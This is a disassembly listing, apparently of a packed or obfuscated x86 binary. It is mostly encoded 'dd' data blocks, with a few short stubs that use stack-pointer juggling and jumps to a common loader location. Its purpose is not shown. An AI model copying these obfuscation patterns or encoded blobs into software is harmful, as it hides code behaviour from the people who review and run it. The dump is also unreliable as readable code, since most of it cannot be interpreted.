		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 1C6E9016h, 0CF707CF9h, 73CF1EB9h,	0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 11A1E7A2h,	497D7CA5h
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 0B917FB04h, 0F8FB4846h, 47992625h, 7D80F1CDh, 75FD725Ch
		dd 145989F2h, 75F9B8B0h, 2940F7DCh, 46FB483Ah, 75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 47992658h, 74C2FBF4h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	2940F7ABh
		dd 0CDFB4881h, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 1C78F7EFh, 8AFB48F3h, 0E9CA8BD0h, 3Bh, 79BD8B60h, 83062B17h
		dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
		dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh,	0F98107h
		dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0FE9C8h, 0C44E0000h
		dd 4045h, 2 dup(0)
		dd 53CE900h, 46170000h,	0F2698602h, 0A3B9D6D2h,	4F06619Dh
		dd 0C52AD69h, 0CCB3FE3Ah, 0F9350F53h, 0E8ABC9Eh, 585468F1h
		dd 0E723053Fh, 600A1635h, 1592D9AAh, 92D5B01Fh,	0C0C951BAh
		dd 0C10271BAh, 47E69BF6h, 0C1839E0Fh, 0A1B904E7h, 955309Fh
		dd 5B52EC3Fh, 0EEC888E7h, 0A086BE1Dh, 0A299044Bh, 55B1A881h
		dd 3893B5AFh, 0FC038A26h, 0A6485459h, 0DB94EBAFh, 0CBC02B47h
		dd 18584E32h, 0BCA5C23Eh, 1405F88h, 0FF79C427h,	964CBDD9h
		dd 0FDCE079h, 3398AAB0h, 785375ECh, 0BC0F3925h,	846B5FD6h
		dd 6E7A0906h, 94EBAFDCh, 123EA9B1h, 94EBAF98h, 83BC6DEDh
		dd 5276EBBFh, 2A3F3956h, 0EBAF6C1Eh, 43AAE194h,	8C7821E6h
		dd 9A718D29h, 0EB84AB36h, 4F338C94h, 971E4723h,	4EFF7Dh
		dd 81DB0000h, 1B76E1C7h, 91A90246h, 0BB478518h,	9C94EBC0h
		dd 37335F23h, 0EF7D96DAh, 1, 0EADA81EBh, 92A7BA01h, 8F5963F7h
		dd 94EBC0FDh, 0E5728E90h, 0B5C0C7B6h, 0A0AD9AB2h, 0FDB079FDh
		dd 2A81A79Eh, 0BEF4C861h, 0E69A59Bh, 20B47056h,	0DD8B0271h
		dd 0E3581A29h, 0B983D72Ah, 74480F52h, 30124897h, 0E9D384DBh
		dd 0B68AB302h, 96F55833h, 0D4752BDEh, 0AAF0A9CDh, 80F7210Eh
		dd 7C3CDF7Bh, 0FAB0948Dh, 49A66264h, 0E3BE290Fh, 0B241487Ch
		dd 0D8E4E96Fh, 94EB7056h, 4C9B372Bh, 63F70851h,	39CC3D59h
		dd 0B6E4D859h, 7D978FCCh, 0F3D58F0Ah, 766D3Ah, 81690000h
		dd 0B904E7D9h, 57329DA3h, 3CCF3E02h, 34EADE57h,	0C0119BA9h
		dd 396494EBh, 0B2CC1F21h, 0D6889716h, 83D730ECh, 0EB732EB9h
		dd 0FE5DD0D9h, 8C8A6147h, 0BEED9175h, 285AF318h, 0B1D8D161h
		dd 7D977BC5h, 4F79h, 0AEB3EE00h, 0D9FA319Ah, 0F90C9348h
		dd 2EAC5DF9h, 4E7D981h,	4F9CA0B9h, 0B7FBCF64h, 0F21D99A3h
		dd 593F0987h, 0FBF13979h, 0F6B8D7B4h, 0BAC0C965h, 59030271h
		dd 0B5F7AC41h, 16362D74h, 338A17B5h, 12A394EBh,	0CC66002Eh
		dd 11E7D97h, 0B8000000h, 3226DB81h, 7A3BF0Ch, 391F59A4h
		dd 473B22D2h, 0ECF8FD63h, 94EBC042h, 620C1837h,	1794EBC0h
		dd 5460EF0Bh, 94EBC0DAh, 9B17B3AFh, 59D3E18Ch, 2C94EBC0h
		dd 0A75B4532h, 783DA327h, 0C33080B1h, 0AE0D8894h, 1E008AC6h
		dd 0BE88D2B1h, 0E761BC4Fh, 0CD695F02h, 98BEB6D1h, 0B00D9D33h
		dd 0C5686D3Eh, 50F91AD6h, 2B43E8Eh, 62A49354h, 41FA3358h
		dd 92F297Dh, 5107828Dh,	0E163BE6Fh, 0DF99E4C7h,	8CC312F9h
		dd 94774911h, 261A038Ah, 75531570h, 0AA01471Ah,	4A0A1594h
		dd 0ADA4E36Ch, 0BE305C8Bh, 0D36D3E6Ch, 0FFE05E4Fh, 776C8573h
		dd 12D2Bh, 1F6FB700h, 500685D2h, 0CFD9D6Eh, 0DEF2F705h
		dd 8D8D8AC6h, 4761E33Eh, 2331DC4Bh, 6D3F3D89h, 54AB62FCh
		dd 7AD13A1Ch, 88013B1Fh, 8ED9FF79h, 917A4E13h, 2E8D0089h
		dd 66B51628h, 17FCCFF1h, 0E4472A1Eh, 2D278B7Fh,	5E088F0Bh
		dd 7C776BD6h, 3129C3D1h, 15C6D3Fh, 0F886655Bh, 47D8AD5Ch
		dd 0FA000000h, 84D3206Fh, 0EBC09678h, 54B7AB14h, 0EBC0F678h
		dd 9FA014h, 0FE806B5Dh,	9232160Fh, 483CC23h, 93BE6F51h
		dd 0EBC08B85h, 0D9A7D294h, 0A7EF6946h, 0D70AE920h, 0F27C889Dh
		dd 8794EB61h, 27E37F9Bh, 853Ch,	1F6F1A00h, 3A7785D2h, 398AC6DBh
		dd 99C6005Ah, 3F3BE18Bh, 38A946Dh, 0CE2DFE60h, 1B74B096h
		dd 20AC7F59h, 6D3F2493h, 0E1CAFC62h, 2883C59Ah,	3A951725h
		dd 76E86D3Fh, 0EFB397AEh, 9DC4890Eh, 0BF04A0C2h, 74ECC286h
		dd 67D75652h, 0A3CFDD0Ah, 0D2730987h, 20207F4Ch, 356A506h
		dd 648E20Eh, 1D3D674Ah,	83D72A81h, 5A0352B9h, 14098366h
		dd 0CF249430h, 6F590580h, 758593BEh, 18797C70h,	13AF99C5h
		dd 12710397h, 81B27B4Dh, 85933C31h, 8ADDB675h, 4AD90618h
		dd 26568C3Eh, 0BF8AC16Dh, 29188D4Eh, 0F18405A1h, 108CAAAAh
		dd 705B7DF7h, 0DE5D1D5Ch, 0DDA15A32h, 6DA98FC9h, 97745212h
		dd 0DC2F0948h, 0C7D5C681h, 27BE5D25h, 41AAC658h, 8F5C7AFAh
		dd 0AC43073Ch, 0AEB2D17Eh, 14E81198h, 1F43A69Eh, 0F20D8925h
		dd 9C0B5472h, 800DED77h, 1D9019EBh, 134Ah, 98F8A700h, 0AC4B56C1h
		dd 5EDFFB32h, 0F5D392F1h, 5810816h, 3E8DC81h, 49A284BCh
		dd 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h
		dd 97744A0Eh, 0D8331548h, 0E7895708h, 4C781h, 0EF830000h
		dd 74FF5704h, 8F5F0424h, 565C2404h, 0C681E689h,	4, 8704EE83h
		dd 895C2434h, 8952243Ch, 4C281E2h, 83000000h, 148704EAh
		dd 1C895C24h, 0BAB85024h, 0D4FA36Fh, 701E1669h,	2F45BF57h
		dd 0F829694Dh, 19E0055Fh, 0C789EFC0h, 1C8B5458h, 4C48124h
		dd 55000000h, 6B89FD89h, 242C8B08h, 8B04C483h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_544660
; ---------------------------------------------------------------------------
		db 29h,	0B8h, 41h
		dd 306326Fh, 0BFE0FFC5h, 0C21292B8h, 0AC45C1D4h, 0E58D493h
		dd 11023BB3h, 0F61878B2h, 0AA47143Ah, 87370DF1h, 0B81D8270h
		dd 287724D6h, 1B16FB49h, 983067AAh, 1039CD32h, 0C0195511h
		dd 2C7978A9h, 0B547E255h, 0C4E8288h, 0E9532034h, 0A5h
		dd 108CB8A5h, 0A05C60F7h, 0F32F1147h, 3FFBDD94h, 48447EE0h
		dd 79E17A3Dh, 2E2C4B47h, 0DA7F9814h, 8BCD2AE6h,	84AB71ADh
		dd 0D9B0F678h, 0B58D8B92h, 0A7521271h, 0A71F6F1h, 36F71381h
		dd 7F4C68EBh, 8BADA4C3h, 0FCF2810Fh, 567494EBh,	97952DA6h
		dd 8C5F79F8h, 8B953BF2h, 726A903Ch, 1F785C17h, 95A5063Ah
		dd 9AE37C14h, 3DE6A56h,	0B8000000h, 0DC817A5Eh,	84BC03E8h
		dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h
		dd 4A0E6DBEh, 15489774h, 6808D833h, 6327024h, 0F90EF3E9h
		dd 7EEF08FFh, 13E8BFh, 0AA6D0000h, 0FCB0B6ACh, 0A86DC4F5h
		dd 0F4F229C8h, 0F440122h, 28B35A20h, 62D3C281h,	0B8660000h
		dd 0B9778Ah, 60000000h,	2BF38166h, 0B866602Fh, 6161EC55h
		dd 660A348Bh, 0EE81FB8Bh, 51CBE5D8h, 0F681AEB0h, 5EF1E223h
		dd 81FEB70Fh, 834D8FEEh, 89ABB334h, 0FFC0A34h, 38Ch, 2DD88000h
		dd 0B303E983h, 0F9814993h, 0FFFF9DB0h, 0FFC2850Fh, 8E0FFFFFh
		dd 11h,	6E8h, 37490B00h, 66F2588Eh, 8D41E781h, 0D90CEB5Fh
		dd 610089DEh, 0EA7DF84Dh, 0E9C096ECh, 5EEh, 5E2E9h, 556FEC00h
		dd 251B3E59h, 0F4CA8EE9h, 4064DF38h, 0D372B44h,	28B56491h
		dd 77900C36h, 0C621DDE7h, 1473AF91h, 0DCBE7A5Ch, 0B18F214Fh
		dd 46C292D9h, 0BC4E5AE9h, 0BD92D9B1h, 0D9B11DAFh, 0DEE7092h
		dd 0ADF80FDEh, 22BEF3DDh, 0C781EFEBh, 0A2B70AE1h, 0EAC1075Dh
		dd 8CD33854h, 0C817F4CEh, 5FAC96h, 3887645Eh, 71CC1F39h
		dd 0ABF6D5EBh, 0A3B90B4h, 1E2AB5BAh, 8ADE4F99h,	62A7BDD8h
		dd 43A8C4E2h, 2FCE3Fh, 264E7AF4h, 0F7130F6Dh, 0D2B2D68h
		dd 0AEB2099Ch, 5D031C98h, 0CECD806Bh, 0CA54B789h, 6AE2CDC3h
		dd 23B729Bh, 0D2F4683Eh, 8AE757D6h, 3D444F5Dh, 980779CCh
		dd 76230F05h, 0C1BEFCC5h, 0C6AD1867h, 0BCA24148h, 754F106Fh
		dd 0F4F95EB9h, 0B3E46E8h, 8143B78h, 780B3E66h, 4FEB071Bh
		dd 0A678507Ch, 63FFC46h, 0D7119C42h, 5276EB89h,	0C96E179h
		dd 0ED34F526h, 0D5545074h, 0B1DF0865h, 0FBD087B4h, 5D5FC8B7h
		dd 438FD225h, 54B7AB4Ah, 0EBEA78h, 1431BFEh, 1799A7AAh
		dd 6AFE00EBh, 82C69BF4h, 19ED4629h, 0CFB34256h,	8204C7A3h
		dd 77FE8h, 755B0000h, 38Bh, 1402716Dh, 0F8EB5E84h, 0E1AD0572h
		dd 0BCAA93CDh, 1B2D324Dh, 0E36221CCh, 8E58E6C5h, 94EB93FCh
		dd 8D008991h, 0B7142A2Eh, 4C6226DFh, 9AF5310Bh,	1A2883C5h
		dd 2C10471Ah, 0EADC80DFh, 0A3A5BA01h, 0E0553648h, 0C071551Ch
		dd 9FA1B6FCh, 0E0834530h, 61D0DC4Fh, 0D4A61616h, 3CED6F10h
		dd 3E332946h, 0EB659812h, 0B6AEED94h, 0F3D87490h, 3893B5ACh
		dd 0BDF1D548h, 7B65A1A7h, 8DB61ACFh, 91B164FAh,	0F248E9DDh
		dd 1671ADC9h, 52A90244h, 8EED3E08h, 0C41BF0D6h,	5FAC96h
		dd 0F886655Fh, 0B0370B32h, 0BEF4C861h, 4E3DAA9Ch, 0C1106A3Ah
		dd 0C1BD6C41h, 0A952h, 246F4400h, 0AFA9F4D7h, 6EF20D89h
		dd 31DC7358h, 0EBC08923h, 0AB62FC94h, 0EBC08B25h, 4540CF94h
		dd 0BDDD2E1Eh, 0BBEFD34Ch, 867A3A5h, 449B7052h,	0CCC12A0Ch
		dd 1CF16625h, 0FEDBE085h, 0B27B9778h, 6DF1B589h, 1A405F5Bh
		dd 0DA7CC328h, 0BCB40BE0h, 77EA319Ah, 98917A51h, 30DFCDA4h
		dd 0D2390F55h, 0E0A45D4Ch, 7AB690CAh, 9AD0451Dh, 7F66B0CEh
		dd 9B11E52Ch, 708C4B6Fh, 4467F7D4h, 34EADE67h, 0CC3D0359h
		dd 1F9BADB5h, 0D2B65F00h, 0E84BB844h, 577556F2h, 94EB1CCAh
		dd 3A7054E1h, 29B42325h, 0EB1C911Bh, 0B37AE494h, 0D881CBCFh
		dd 0A7B807E4h, 98A9C24Eh, 0EB99E28Ch, 0BC8B9794h, 0D3C1C183h
		dd 5A376FA5h, 0C30CA8C4h, 0CA862834h, 757794EBh, 2E1D5D31h
		dd 0EC1D3DFEh, 0AA9CC219h, 6167FA41h, 0C49BF48Ah, 0EB402B80h
		dd 42FB5017h, 0D37287Eh, 1C1E0791h, 0E16E94EBh,	57F7EDB2h
		dd 5B5240C1h, 97522F3Ch, 0FEF8E97Dh, 6FF5FFFFh,	7785D21Fh
		dd 8AC6DB3Ah, 9BE6C555h, 0E403FFD9h, 0C16B796Ch, 286D3F3Bh
		dd 0B6A81335h, 0EF9AB11Ah, 0D39265CCh, 3F0816F5h, 0E726007Dh
		dd 2CFFD998h, 0B4FACE67h, 4E4D9ABCh, 7BF50316h,	0E6D3FF8h
		dd 0B17F410h, 81C3DC82h, 9C4D38A7h, 3F2A6602h, 0C50B9A13h
		dd 6D3FE634h, 0AE1984CBh, 0A97C9C46h, 4B3F28E1h, 5164F897h
		dd 3FE5A943h, 2642DC6Dh, 2D74B5C5h, 76910D2Bh, 108FD8FEh
		dd 0DEEA754Fh, 6D3FE52Ch, 3DF03921h, 0FB75832Eh, 126D3FE5h
		dd 9F83784Eh, 0E58A2430h, 63FF6D3Fh, 2449B9AAh,	73812CBBh
		dd 6D3FE5F9h, 751B928Ch, 7312FC70h, 9E8F0B17h, 8A96C12Eh
		dd 7977511Dh, 8FD2B15Ch, 6D1DAFB9h, 0EE70799Dh,	9E27C3Fh
		dd 1F9BADB2h, 86655F00h, 0B789CCCBh, 0CDC3CA54h, 662049E2h
		dd 6B3F033Ah, 715711F6h, 0AC68849Ah, 8F0A0B53h,	40EAF4C8h
		dd 59725051h, 5051A14Bh, 714AD472h, 87024DE9h, 1EEDD7h
		dd 0B2A7FA89h, 1842418Eh, 4CBDDD2Eh, 6458D9B9h,	526B3C36h
		dd 0A9E064h, 71E20000h,	0AA87002h, 6E7AEDD0h, 94EBE7DCh
		dd 9C0DA9B1h, 32EEDE85h, 7DB98FD5h, 89052322h, 0DAD6E86Eh
		dd 67A3A5BDh, 0B4705208h, 0E3F1065Bh, 94EBE749h, 5986223Ch
		dd 0E70CBECAh, 85DD94EBh, 0E5D66843h, 4E9DA3B6h, 0A9159430h
		dd 0A730164Eh, 5A5375E8h, 2A0C7BE4h, 6F33685Dh,	0E721CBD9h
		dd 0CA5494EBh, 991321AEh, 0EC94EBE7h, 0F264BB72h, 0BE9CE3C8h
		dd 9F4ABB84h, 5906EC20h, 0CB8DD043h, 0F76E1EEDh, 0FF0D2213h
		dd 94EB3A4Dh, 38E21E00h, 0A4E46Fh, 71D20000h, 60DA2202h
		dd 0C7C6DB4Fh, 29A64D5Bh, 71E494EBh, 714F638Dh,	0A4B65312h
		dd 953149A2h, 9EE12836h, 85DBB6BBh, 0C01B9543h,	72F294EBh
		dd 6CFB6754h, 0EBC0AE40h, 23BFA394h, 411D78E7h,	0E57B8607h
		dd 89C827E3h, 0B9E473AFh, 0F7057985h, 94EB4975h, 88291608h
		dd 81800985h, 0CC2BE7D9h, 0EB74B08Ah, 0FFBE305Ch, 4FD394EBh
		dd 1A1B435Eh, 0EBFF7C0Eh, 0ED091194h, 7C81D631h, 770BE0DAh
		dd 0A530DFDBh, 0EBFF1597h, 37F66894h, 524E68E8h, 0A88EC6C5h
		dd 47CE3F43h, 0Ah, 4C127133h, 89917Ah, 0DC81FADEh, 84BC03E8h
		dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h
		dd 4A0E6DBEh, 15489774h, 6808D833h, 485Eh, 56243489h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 632716Dh
		push	edi
		mov	edi, edx
		mov	esi, edi
		pop	edi
		pop	edx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_544660
; ---------------------------------------------------------------------------
		dw 7750h
		dd 0BDDFE7C4h, 0B85BD3C0h, 63276E7h, 0D38BC503h, 78088D8Dh
		dd 0FE8B0632h, 0EE18D89h, 858B062Bh, 62B1DB1h, 21E185C7h
		dd 59D8062Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 7DF8F1C3h, 4207F29Ah, 0F88B6656h
		dd 1812BF66h, 13E9h, 3CB55C00h,	5F391976h, 0FBCC8041h
		dd 1AA4F1B7h, 0C49BAE44h, 2BE585C7h, 62Bh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0DCC150C3h, 9D22F8C0h, 0B5FFDF8Bh, 62B0165h,	273195FFh
		dd 8C0F062Bh, 4, 5B49B652h, 9AC503BBh, 0FF006A70h, 2B294595h
		dd 0EBC08B06h, 526C7F1Eh, 0C7B63D17h, 0DAAA8B9Dh, 44252CD0h
		dd 24CAF063h, 0E89898Ah, 0EA4DD244h, 0E94E2CE3h, 2Ah, 2404C7h
		dd 0E8000000h, 0
		dd 3CED815Dh, 8B063278h, 89042444h, 2B086185h, 0B806h
		dd 8D8D0000h, 62B4EA1h,	54B8E1FFh, 0EB000067h, 16h, 4 dup(0)
		dd 0B0010100h, 32000003h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 5A803F06h
		dd 0EE990h, 59920000h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h
		dd 0FBB95150h, 5F1A0806h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 1AAC0E21h
		dd 0BFC07FCh, 2B2E25BDh, 0B99D8B06h, 6A062B19h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 66681C5Bh, 87DFB1FBh, 8B60CED7h, 2B0DB99Dh, 41B95006h
		dd 5915CAB8h, 6AD68B61h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 8D4A41C9h, 0D18166EAh
		dd 858D5A12h, 63279CCh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 3BC35747h, 0F526D81h,	0F85AFAB7h, 0BB666050h
		dd 8B664B2Bh, 48961F2h,	99D8924h, 6A062B12h, 0D99D8900h
		dd 6A062B07h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FFD75A78h, 2B34E195h, 0E1BD2306h
		dd 0E9062B25h, 613h, 0BE9h, 0A18C1F00h,	0E3C4838Ch, 696E1BA6h
		dd 0E8h, 0ED815D00h, 63279D1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 26C35141h, 8B7836F5h, 2B1F9595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0C0128FAFh, 8089E71Eh, 0DE936CBh, 7F000000h
		dd 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 320BF068h, 61F9BB47h
		dd 34817EDFh, 32045024h, 0FFF98B47h, 2B294595h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B81ACh, 62B1935h, 5E9h, 8984A200h, 0B58D7033h, 6327861h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8FC35646h
		dd 8A3B2716h, 5206C766h, 516D6765h, 2AF99D0Bh, 0C75B062Bh
		dd 6E6F0446h, 6A6C63h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0E72947C3h, 375BE66Ah, 46C72280h
		dd 73736108h, 12E900h, 0B5BA0000h, 0B1B1752Ah, 0A0362D35h
		dd 7CBD2366h, 0FB761E01h, 28C1B529h, 6A062Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 52C35747h, 85E87888h
		dd 2923DF6Dh, 2B1E6DBDh, 61858D06h, 6A063278h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 2F31C352h, 48950DBh,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8589BF0Bh, 62B2CE5h, 35199D8Bh
		dd 95FF062Bh, 62B06F1h,	1C01B501h, 0C00B062Bh, 11840Fh
		dd 0B5890000h, 62B1FC5h, 3B8E9h, 69BD8B00h, 68062B0Ah
		dd 0C318D03Eh, 48168B3h, 0E730EE24h, 53006A3Ch,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7795630h, 0F189893h
		dd 289h, 0FFD98B00h, 2B294595h,	55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 6E8FBB1Bh
		dd 5AA92155h, 9B5958Bh,	0B58D062Bh, 6327861h, 205DBBFh
		dd 3106C77Ch, 6A363438h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 2D4AC350h, 7C1CAF05h
		dd 10E9h, 0F9E4BD00h, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh
		dd 446C7D7h, 31342D37h,	18AD8589h, 46C7062Bh, 8, 998D0900h
		dd 6A062B29h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7712847Dh, 0D78A5196h, 61858D5Ah
		dd 6A063278h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 821C355h, 0F9B697AEh, 9D8D8BD0h
		dd 60062B35h, 2830Fh, 0FE8B0000h, 0E8F28B60h, 10h, 7133B8D8h
		dd 0E2EEF49Eh, 97099239h, 0F4286Bh, 50616159h, 89FA8B66h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F3C37AC3h, 0C335A7D9h, 0F38189D4h, 3A12DF85h
		dd 6F195FFh, 8B0F062Bh,	6, 0B507D981h, 0BD893597h, 62B1661h
		dd 840FC00Bh, 69h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 39C35343h, 77655E89h,	66C01EC3h, 0E9F5EBBFh
		dd 1F5h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0F7C35242h, 0E9143679h,	2E1B6608h, 10E8h, 72045700h
		dd 9C82F492h, 2E43030h,	0E843A85Eh, 0D08B66A6h,	4E85Bh
		dd 12C0000h, 0AE90000h,	0CB000000h, 9C3A604Bh, 0F98B7A48h
		dd 14E85013h, 0D8000000h, 0C1E7669Ch, 4795E409h, 1C2337C4h
		dd 0A86B1790h, 0B1239EC6h, 448B5BD5h, 61600424h, 8B66008Bh
		dd 244489FAh, 0FD8A6004h, 1F2AB966h, 6A5861h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0A4D530C3h
		dd 0E87E2E3Eh, 0FC81A15Bh, 294595FFh, 0B58D062Bh, 6327861h
		dd 17E59D29h, 6C7062Bh,	656C6946h, 5968D4BAh, 446C753h
		dd 636E6F6Dh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	7CC35343h, 46C7A3AEh, 73616C08h, 0ECB96673h, 7FBB662Bh
		dd 0C46C79Bh, 0
		dd 1F799D89h, 6A062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 2DC35141h, 0DD8A59B1h, 1BA98D8Bh, 858D062Bh
		dd 6327861h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	76C35747h, 3406D4DAh, 160B98ACh, 8B56900Bh, 90505AF9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 81C35242h
		dd 55BD09F5h, 0FF062B12h, 2B06F195h, 0FD858906h, 0B062B26h
		dd 4B840FC0h, 0E9000000h, 51h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0C9C35040h,	2214C18h, 0FC744F9h
		dd 383h, 0F8B70F00h, 0FE9h, 739F6C00h, 0DFC88E27h, 0B78CF5D4h
		dd 0F0958F48h, 0F058D89h, 81E9062Bh, 8BFFFFFAh,	2B1C858Dh
		dd 86B58D06h, 6A062B71h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0C491C355h,	91EA6BC9h
		dd 80FB8404h, 9589E7DFh, 62B2B4Dh, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 215EADFBh, 6AE6FFDCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D02AC356h,	0B18881DCh
		dd 8BDA8A74h, 338D8DC1h, 6A063281h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5F3FC355h
		dd 0EA1A8AF7h, 0DD94400Ah, 0A46D4BFh, 398D8953h, 89062B0Dh
		dd 2B0EE18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 29BEB81Dh, 0DDDFC758h, 0C01BD31h
		dd 14E8062Bh, 16000000h, 401AE8A7h, 4530B784h, 6D2A5D9Ch
		dd 3263FEh, 29B5DC44h, 2B05FD9Dh, 85C75B06h, 62B21E1h
		dd 653Ch, 2FD9BD01h, 85C7062Bh,	62B2BE5h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BC35242h
		dd 27107583h, 336D9105h, 25B5FF14h, 6A062B05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 352C357h, 78B14A3Dh,	0E8189F4Bh, 10h, 379AB084h, 3BA480A9h
		dd 594BA251h, 3EBAEC1Dh, 10E8h,	8F0F100h, 8D10FB57h, 1D16C548h
		dd 0FDE14433h, 8585895Bh, 58062B33h, 3195FF5Ah,	6A062B27h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0CAEEC351h, 0FE952h, 0E4540000h, 0C305C936h
		dd 8BA18564h, 78C61ABEh, 0C38B6686h, 95FF006Ah,	62B2945h
		dd 4FEBC08Bh, 0F8F63F8Ch, 28282F08h, 0ADB8322Bh, 0AEA15E2Dh
		dd 0DDAE2E2Eh, 474BC085h, 162D95EAh, 7C35A6F5h,	47ADDAD9h
		dd 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 90A37D43h,	4591AD94h
		dd 4282AA23h, 0BAF0A43h, 60F0194Fh, 0DAFE3269h,	0ABACB5CCh
		dd 0E82FE754h, 11h, 0C4705FE2h,	477F74FEh, 0C97CC52Eh
		dd 0BA73C413h, 0EE81Bh,	0C5E30000h, 8A851Fh, 0BEFAC4ACh
		dd 52B4FB7Bh, 58DBBF0Fh, 45858B5Eh, 81062B0Ah, 0D8CEC6h
		dd 29B86600h, 0B9A6h, 0BD290000h, 62B2D4Dh, 10E3C8Bh, 2B35B98Dh
		dd 0E2EF8106h, 29096EC5h, 2B0599B5h, 0DC78106h,	2954ED92h
		dd 2B1E7585h, 0E1F78106h, 807D6DA1h, 3C89D9D0h,	6DB8660Eh
		dd 2D9D891Ah, 81062B35h, 37A24FE9h, 0C181F956h,	5637A24Bh
		dd 0EC22BB66h, 27CCF981h, 850FFFFFh, 0FFFFFFACh, 1E65858Bh
		dd 31E9062Bh, 94000000h, 7C76C5h, 0Bh dup(0)
		dd 549E9h, 4D77E400h, 1D233651h, 0ECD286E1h, 0B89CD730h
		dd 53F237Ch, 20BD7C89h,	6F88043Eh, 0BED9D5EFh, 0C6BA799h
		dd 0E4B67254h, 42B73947h, 4ECA92D9h, 0A7E2716Ah, 223C8FB1h
		dd 0EBC0BA34h, 3A0E5394h, 515059C1h, 596FF217h,	2463EE3Dh
